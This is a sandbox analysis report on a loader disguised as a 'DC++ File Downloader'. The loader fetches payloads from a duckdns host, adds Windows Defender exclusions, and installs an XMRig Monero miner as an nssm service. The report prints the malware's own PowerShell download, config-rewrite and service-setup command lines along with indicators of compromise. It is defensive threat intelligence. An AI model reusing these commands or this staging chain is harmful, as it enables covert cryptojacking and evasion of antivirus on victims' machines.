File name:

62894d30ab5dcdc21984ec5b6770199662bf5a2932597d7daf04963c6b8aa85b.exe

Full analysis: https://app.any.run/tasks/005ad5a9-3307-420d-9294-0283cf602018
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: April 11, 2024, 03:32:20
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
loader
exploit
xmrig
Indicators:
MIME: application/x-dosexec
File info: PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
MD5:

3914808C61A192A5B6D27F8AB1960575

SHA1:

C14AFF6A5DF721DCF39CF1616DD41F8A473AF213

SHA256:

62894D30AB5DCDC21984EC5B6770199662BF5A2932597D7DAF04963C6B8AA85B

SSDEEP:

768:FzV6rEsGMvbpcs7ofrfnHJ5JSojNhY/J:xgrEsGmbpVofHHjNhYh

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Drops the executable file immediately after the start

      • 62894d30ab5dcdc21984ec5b6770199662bf5a2932597d7daf04963c6b8aa85b.exe (PID: 3012)
      • 62894d30ab5dcdc21984ec5b6770199662bf5a2932597d7daf04963c6b8aa85b.exe (PID: 1136)
      • powershell.exe (PID: 4536)
      • powershell.exe (PID: 6852)
      • powershell.exe (PID: 2240)
      • powershell.exe (PID: 1432)
      • powershell.exe (PID: 2516)

    • Adds extension to the Windows Defender exclusion list

      • 62894d30ab5dcdc21984ec5b6770199662bf5a2932597d7daf04963c6b8aa85b.exe (PID: 1136)
      • cmd.exe (PID: 2568)

    • XMRig has been detected

      • xmrig.exe (PID: 2264)
      • xmrig.exe (PID: 1536)

    • XMRIG has been detected (YARA)

      • xmrig.exe (PID: 1536)

  • SUSPICIOUS

    • Reads security settings of Internet Explorer

      • 62894d30ab5dcdc21984ec5b6770199662bf5a2932597d7daf04963c6b8aa85b.exe (PID: 3012)
      • 62894d30ab5dcdc21984ec5b6770199662bf5a2932597d7daf04963c6b8aa85b.exe (PID: 1136)
      • FILE.exe (PID: 6284)

    • Reads the date of Windows installation

      • 62894d30ab5dcdc21984ec5b6770199662bf5a2932597d7daf04963c6b8aa85b.exe (PID: 3012)
      • 62894d30ab5dcdc21984ec5b6770199662bf5a2932597d7daf04963c6b8aa85b.exe (PID: 1136)
      • FILE.exe (PID: 6284)

    • Application launched itself

      • 62894d30ab5dcdc21984ec5b6770199662bf5a2932597d7daf04963c6b8aa85b.exe (PID: 3012)
      • cmd.exe (PID: 3996)

    • Executing commands from a ".bat" file

      • 62894d30ab5dcdc21984ec5b6770199662bf5a2932597d7daf04963c6b8aa85b.exe (PID: 1136)
      • wscript.exe (PID: 6720)
      • powershell.exe (PID: 6428)

    • Starts CMD.EXE for commands execution

      • 62894d30ab5dcdc21984ec5b6770199662bf5a2932597d7daf04963c6b8aa85b.exe (PID: 1136)
      • wscript.exe (PID: 6720)
      • powershell.exe (PID: 6428)
      • cmd.exe (PID: 3996)

    • Script adds exclusion path to Windows Defender

      • cmd.exe (PID: 2568)

    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 2568)
      • cmd.exe (PID: 4456)
      • cmd.exe (PID: 3996)
      • wscript.exe (PID: 6728)
      • cmd.exe (PID: 2012)

    • Script adds exclusion extension to Windows Defender

      • cmd.exe (PID: 2568)

    • Process requests binary or script from the Internet

      • 62894d30ab5dcdc21984ec5b6770199662bf5a2932597d7daf04963c6b8aa85b.exe (PID: 1136)

    • Executable content was dropped or overwritten

      • 62894d30ab5dcdc21984ec5b6770199662bf5a2932597d7daf04963c6b8aa85b.exe (PID: 1136)
      • powershell.exe (PID: 4536)
      • powershell.exe (PID: 6852)
      • powershell.exe (PID: 2516)

    • The process executes VB scripts

      • FILE.exe (PID: 6284)
      • cmd.exe (PID: 4456)

    • Connects to unusual port

      • 62894d30ab5dcdc21984ec5b6770199662bf5a2932597d7daf04963c6b8aa85b.exe (PID: 1136)
      • powershell.exe (PID: 4168)

    • Probably download files using WebClient

      • cmd.exe (PID: 4456)
      • cmd.exe (PID: 3996)

    • Drops 7-zip archiver for unpacking

      • powershell.exe (PID: 4536)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 6720)
      • wscript.exe (PID: 6728)

    • Uses TASKKILL.EXE to kill process

      • cmd.exe (PID: 3996)

    • Starts SC.EXE for service management

      • cmd.exe (PID: 3996)

    • The Powershell connects to the Internet

      • powershell.exe (PID: 4536)
      • powershell.exe (PID: 2240)
      • powershell.exe (PID: 4168)
      • powershell.exe (PID: 1432)

    • Unusual connection from system programs

      • powershell.exe (PID: 4536)
      • powershell.exe (PID: 2240)
      • powershell.exe (PID: 4168)
      • powershell.exe (PID: 1432)

    • Powershell scripting: start process

      • wscript.exe (PID: 6728)

    • Get information on the list of running processes

      • cmd.exe (PID: 3996)

    • Probably obfuscated PowerShell command line is found

      • cmd.exe (PID: 3996)
      • cmd.exe (PID: 2012)

    • Extracts files to a directory (POWERSHELL)

      • powershell.exe (PID: 6852)
      • powershell.exe (PID: 2516)

    • The executable file from the user directory is run by the CMD process

      • xmrig.exe (PID: 2264)
      • nssm.exe (PID: 5700)
      • nssm.exe (PID: 240)
      • nssm.exe (PID: 2540)
      • nssm.exe (PID: 5964)
      • nssm.exe (PID: 6344)
      • nssm.exe (PID: 4184)

    • Drops a system driver (possible attempt to evade defenses)

      • powershell.exe (PID: 6852)

    • Probably file/command deobfuscation

      • cmd.exe (PID: 2012)

    • Executes as Windows Service

      • nssm.exe (PID: 4224)

  • INFO

    • Checks supported languages

      • 62894d30ab5dcdc21984ec5b6770199662bf5a2932597d7daf04963c6b8aa85b.exe (PID: 3012)
      • 62894d30ab5dcdc21984ec5b6770199662bf5a2932597d7daf04963c6b8aa85b.exe (PID: 1136)
      • FILE.exe (PID: 6284)
      • 7za.exe (PID: 7052)
      • xmrig.exe (PID: 2264)
      • nssm.exe (PID: 5700)
      • nssm.exe (PID: 240)
      • nssm.exe (PID: 5964)
      • nssm.exe (PID: 2540)
      • nssm.exe (PID: 6344)
      • nssm.exe (PID: 4184)
      • nssm.exe (PID: 4224)
      • xmrig.exe (PID: 1536)

    • Reads the computer name

      • 62894d30ab5dcdc21984ec5b6770199662bf5a2932597d7daf04963c6b8aa85b.exe (PID: 3012)
      • 62894d30ab5dcdc21984ec5b6770199662bf5a2932597d7daf04963c6b8aa85b.exe (PID: 1136)
      • FILE.exe (PID: 6284)
      • 7za.exe (PID: 7052)
      • xmrig.exe (PID: 2264)
      • nssm.exe (PID: 5700)
      • nssm.exe (PID: 240)
      • nssm.exe (PID: 2540)
      • nssm.exe (PID: 5964)
      • nssm.exe (PID: 6344)
      • nssm.exe (PID: 4184)
      • nssm.exe (PID: 4224)
      • xmrig.exe (PID: 1536)

    • Process checks computer location settings

      • 62894d30ab5dcdc21984ec5b6770199662bf5a2932597d7daf04963c6b8aa85b.exe (PID: 3012)
      • 62894d30ab5dcdc21984ec5b6770199662bf5a2932597d7daf04963c6b8aa85b.exe (PID: 1136)
      • FILE.exe (PID: 6284)

    • Reads the machine GUID from the registry

      • 62894d30ab5dcdc21984ec5b6770199662bf5a2932597d7daf04963c6b8aa85b.exe (PID: 1136)

    • Creates files or folders in the user directory

      • 62894d30ab5dcdc21984ec5b6770199662bf5a2932597d7daf04963c6b8aa85b.exe (PID: 1136)

    • Reads Environment values

      • 62894d30ab5dcdc21984ec5b6770199662bf5a2932597d7daf04963c6b8aa85b.exe (PID: 1136)

    • Checks proxy server information

      • 62894d30ab5dcdc21984ec5b6770199662bf5a2932597d7daf04963c6b8aa85b.exe (PID: 1136)
      • powershell.exe (PID: 4168)
      • powershell.exe (PID: 4536)
      • powershell.exe (PID: 2240)
      • powershell.exe (PID: 1432)

    • Create files in a temporary directory

      • FILE.exe (PID: 6284)

    • Reads Microsoft Office registry keys

      • FILE.exe (PID: 6284)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 6000)

    • Creates files in the program directory

      • powershell.exe (PID: 4168)
      • cmd.exe (PID: 4456)
      • powershell.exe (PID: 4536)
      • 7za.exe (PID: 7052)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Generic Win/DOS Executable (50)
.exe | DOS Executable Generic (49.9)

EXIF

EXE

MachineType: AMD AMD64
TimeStamp: 2104:09:07 19:18:04+00:00
ImageFileCharacteristics: Executable, Large address aware
PEType: PE32+
LinkerVersion: 48
CodeSize: 702464
InitializedDataSize: 11264
UninitializedDataSize: -
EntryPoint: 0x0000
OSVersion: 4
ImageVersion: -
SubsystemVersion: 6
Subsystem: Windows GUI
FileVersionNumber: 4.0.3.4859
ProductVersionNumber: 4.0.3.4859
FileFlagsMask: 0x003f
FileFlags: (none)
FileOS: Win32
ObjectFileType: Executable application
FileSubtype: -
LanguageCode: Neutral
CharacterSet: Unicode
Comments: DC++ File Downloader
CompanyName: DC++
FileDescription: DC++ File Downloader
FileVersion: 4.0.3.4859
InternalName: Steam Unlocker.exe
LegalCopyright: Copyright © 2024
LegalTrademarks: DC++
OriginalFileName: Steam Unlocker.exe
ProductName: DC++ File Downloader
ProductVersion: 4.0.3.4859
AssemblyVersion: 4.0.3.4859
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
176
Monitored processes
54
Malicious processes
16
Suspicious processes
2

Behavior graph

Click at the process to see the details
start 62894d30ab5dcdc21984ec5b6770199662bf5a2932597d7daf04963c6b8aa85b.exe no specs 62894d30ab5dcdc21984ec5b6770199662bf5a2932597d7daf04963c6b8aa85b.exe cmd.exe no specs conhost.exe no specs powershell.exe no specs file.exe no specs wscript.exe no specs cmd.exe no specs conhost.exe no specs powershell.exe powershell.exe 7za.exe no specs wscript.exe no specs powershell.exe no specs conhost.exe no specs cmd.exe no specs conhost.exe no specs net.exe no specs net1.exe no specs where.exe no specs where.exe no specs where.exe no specs where.exe no specs where.exe no specs sc.exe no specs sc.exe no specs taskkill.exe no specs powershell.exe powershell.exe powershell.exe no specs xmrig.exe no specs cmd.exe no specs powershell.exe no specs hostname.exe no specs powershell.exe no specs powershell.exe no specs powershell.exe no specs powershell.exe no specs powershell.exe no specs powershell.exe no specs powershell.exe powershell.exe sc.exe no specs sc.exe no specs nssm.exe no specs nssm.exe no specs nssm.exe no specs nssm.exe no specs nssm.exe no specs nssm.exe no specs nssm.exe no specs conhost.exe no specs #XMRIG xmrig.exe no specs conhost.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
240sc stop moneroocean_minerC:\Windows\System32\sc.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Service Control Manager Configuration Tool
Exit code:
1060
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\sc.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\bcrypt.dll
240"C:\Users\admin\Drivers\nssm.exe" set moneroocean_miner AppDirectory "C:\Users\admin\Drivers"C:\Users\admin\Drivers\nssm.exe—cmd.exe
User:
admin
Company:
Iain Patterson
Integrity Level:
HIGH
Description:
The NS service manager
Exit code:
0
Version:
2.24-103-gf28f043
Modules
Images
c:\users\admin\drivers\nssm.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\psapi.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
1136"C:\Users\admin\AppData\Local\Temp\62894d30ab5dcdc21984ec5b6770199662bf5a2932597d7daf04963c6b8aa85b.exe" C:\Users\admin\AppData\Local\Temp\62894d30ab5dcdc21984ec5b6770199662bf5a2932597d7daf04963c6b8aa85b.exe
62894d30ab5dcdc21984ec5b6770199662bf5a2932597d7daf04963c6b8aa85b.exe
User:
admin
Company:
DC++
Integrity Level:
HIGH
Description:
DC++ File Downloader
Exit code:
0
Version:
4.0.3.4859
Modules
Images
c:\users\admin\appdata\local\temp\62894d30ab5dcdc21984ec5b6770199662bf5a2932597d7daf04963c6b8aa85b.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
1432powershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://github.com/ONLYOFFICE/nssm/releases/download/v2.24.1/nssm_x64.zip', 'C:\Users\admin\nssm.zip')"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\atl.dll
c:\windows\system32\combase.dll
1476powershell -Command "$out = cat 'C:\Users\admin\Drivers\config.json' | %{$_ -replace '\"url\": *\".*\",', '\"url\": \"gulf.moneroocean.stream:10001\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\admin\Drivers\config.json'" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\atl.dll
c:\windows\system32\combase.dll
1536"C:\Users\admin\Drivers\xmrig.exe" C:\Users\admin\Drivers\xmrig.exe
nssm.exe
User:
SYSTEM
Company:
www.xmrig.com
Integrity Level:
SYSTEM
Description:
XMRig miner
Version:
6.21.2-mo1
Modules
Images
c:\users\admin\drivers\xmrig.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\crypt32.dll
1696where powershell C:\Windows\System32\where.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Where - Lists location of files
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\where.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
1832powershell -Command "$out = cat 'C:\Users\admin\Drivers\config.json' | %{$_ -replace '\"max-cpu-usage\": *\d*,', '\"max-cpu-usage\": 100,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\admin\Drivers\config.json'" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\atl.dll
1988C:\WINDOWS\system32\net1 session C:\Windows\System32\net1.exe—net.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Net Command
Exit code:
0
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\net1.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\netutils.dll
c:\windows\system32\dsrole.dll
c:\windows\system32\bcrypt.dll
2012C:\WINDOWS\system32\cmd.exe /c powershell -Command "hostname | %{$_ -replace '[^a-zA-Z0-9]+', '_'}"C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\bcrypt.dll
Total events
99 748
Read events
99 647
Write events
101
Delete events
0

Modification events

(PID) Process:(3012) 62894d30ab5dcdc21984ec5b6770199662bf5a2932597d7daf04963c6b8aa85b.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(3012) 62894d30ab5dcdc21984ec5b6770199662bf5a2932597d7daf04963c6b8aa85b.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(3012) 62894d30ab5dcdc21984ec5b6770199662bf5a2932597d7daf04963c6b8aa85b.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(3012) 62894d30ab5dcdc21984ec5b6770199662bf5a2932597d7daf04963c6b8aa85b.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(1136) 62894d30ab5dcdc21984ec5b6770199662bf5a2932597d7daf04963c6b8aa85b.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(1136) 62894d30ab5dcdc21984ec5b6770199662bf5a2932597d7daf04963c6b8aa85b.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(1136) 62894d30ab5dcdc21984ec5b6770199662bf5a2932597d7daf04963c6b8aa85b.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(1136) 62894d30ab5dcdc21984ec5b6770199662bf5a2932597d7daf04963c6b8aa85b.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(1136) 62894d30ab5dcdc21984ec5b6770199662bf5a2932597d7daf04963c6b8aa85b.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(1136) 62894d30ab5dcdc21984ec5b6770199662bf5a2932597d7daf04963c6b8aa85b.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASAPI32
Operation:writeName:EnableAutoFileTracing
Value:
0
Executable files
5
Suspicious files
6
Text files
39
Unknown types
1

Dropped files

PID
Process
Filename
Type
6000powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_l32w3122.1lx.ps1text
MD5:—
SHA256:—
6000powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_j3tlgvom.gjf.psm1text
MD5:—
SHA256:—
6000powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:—
SHA256:—
113662894d30ab5dcdc21984ec5b6770199662bf5a2932597d7daf04963c6b8aa85b.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\FILE.exeexecutable
MD5:—
SHA256:—
6284FILE.exeC:\Users\admin\AppData\Local\Temp\RarSFX0\deliver.battext
MD5:—
SHA256:—
6284FILE.exeC:\Users\admin\AppData\Local\Temp\RarSFX0\start.vbstext
MD5:—
SHA256:—
4536powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_nx12elhm.nai.ps1text
MD5:—
SHA256:—
4536powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_d3sbaxmb.b4w.psm1text
MD5:—
SHA256:—
4536powershell.exeC:\ProgramData\Drivers\7za.exeexecutable
MD5:—
SHA256:—
4168powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_jyt5e2sn.y3t.ps1text
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
13
TCP/UDP connections
52
DNS requests
15
Threats
12

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
956
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
unknown
1136
62894d30ab5dcdc21984ec5b6770199662bf5a2932597d7daf04963c6b8aa85b.exe
GET
200
200.165.100.3:30000
http://adpk.duckdns.org:30000/9iblbtdj/Soup.exe
unknown
—
—
unknown
4168
powershell.exe
GET
200
200.165.100.3:30000
http://adpk.duckdns.org:30000/ohb8zbbp/Drivers.zip
unknown
—
—
unknown
2980
svchost.exe
GET
200
2.17.169.134:80
http://www.microsoft.com/pkiops/crl/Microsoft%20Update%20Signing%20CA%202.1.crl
unknown
—
—
unknown
2980
svchost.exe
GET
200
2.17.169.134:80
http://www.microsoft.com/pkiops/crl/Microsoft%20Update%20Signing%20CA%202.2.crl
unknown
—
—
unknown
1996
SIHClient.exe
GET
200
2.17.169.134:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
unknown
2980
svchost.exe
GET
200
2.17.169.134:80
http://www.microsoft.com/pkiops/crl/Microsoft%20Update%20Signing%20CA%202.3.crl
unknown
—
—
unknown
1996
SIHClient.exe
GET
200
2.17.169.134:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
unknown
2980
svchost.exe
GET
200
2.17.169.134:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
unknown
2980
svchost.exe
GET
200
2.18.31.10:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut_2010-06-23.crl
unknown
—
—
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4008
svchost.exe
239.255.255.250:1900
—
—
—
unknown
4
System
192.168.100.255:138
—
—
—
unknown
3196
svchost.exe
40.113.110.67:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
6552
svchost.exe
4.231.128.59:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
956
svchost.exe
20.190.159.75:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
5152
MoUsoCoreWorker.exe
4.231.128.59:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
956
svchost.exe
40.126.31.73:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
unknown
5152
MoUsoCoreWorker.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
unknown
956
svchost.exe
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 40.127.240.158
whitelisted
ocsp.digicert.com
  • 192.229.221.95
whitelisted
adpk.duckdns.org
  • 200.165.100.3
unknown
slscr.update.microsoft.com
  • 40.127.169.103
whitelisted
www.microsoft.com
  • 2.17.169.134
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 20.242.39.171
whitelisted
raw.githubusercontent.com
  • 185.199.108.133
  • 185.199.110.133
  • 185.199.109.133
  • 185.199.111.133
shared
github.com
  • 140.82.121.4
shared
objects.githubusercontent.com
  • 185.199.109.133
  • 185.199.110.133
  • 185.199.111.133
  • 185.199.108.133
shared
crl.microsoft.com
  • 2.18.31.10
  • 93.186.134.49
whitelisted

Threats

PID
Process
Class
Message
2136
svchost.exe
Potentially Bad Traffic
ET INFO DYNAMIC_DNS Query to a *.duckdns .org Domain
2136
svchost.exe
Misc activity
ET INFO DYNAMIC_DNS Query to *.duckdns. Domain
—
—
Potentially Bad Traffic
ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
—
—
Potentially Bad Traffic
ET INFO DYNAMIC_DNS HTTP Request to a *.duckdns .org Domain
—
—
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
4168
powershell.exe
Potentially Bad Traffic
ET INFO DYNAMIC_DNS HTTP Request to a *.duckdns .org Domain
4168
powershell.exe
Potentially Bad Traffic
ET HUNTING Terse Request for Zip File (GET)
4168
powershell.exe
A Network Trojan was detected
SUSPICIOUS [ANY.RUN] VBS is used to run Shell
4168
powershell.exe
Attempted Administrator Privilege Gain
AV EXPLOIT Potential ZIP file exploiting CVE-2023-36413
4168
powershell.exe
Potentially Bad Traffic
ET HUNTING PowerShell DownloadString Command Common In Powershell Stagers
1 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
62894d30ab5dcdc21984ec5b6770199662bf5a2932597d7daf04963c6b8aa85b.exe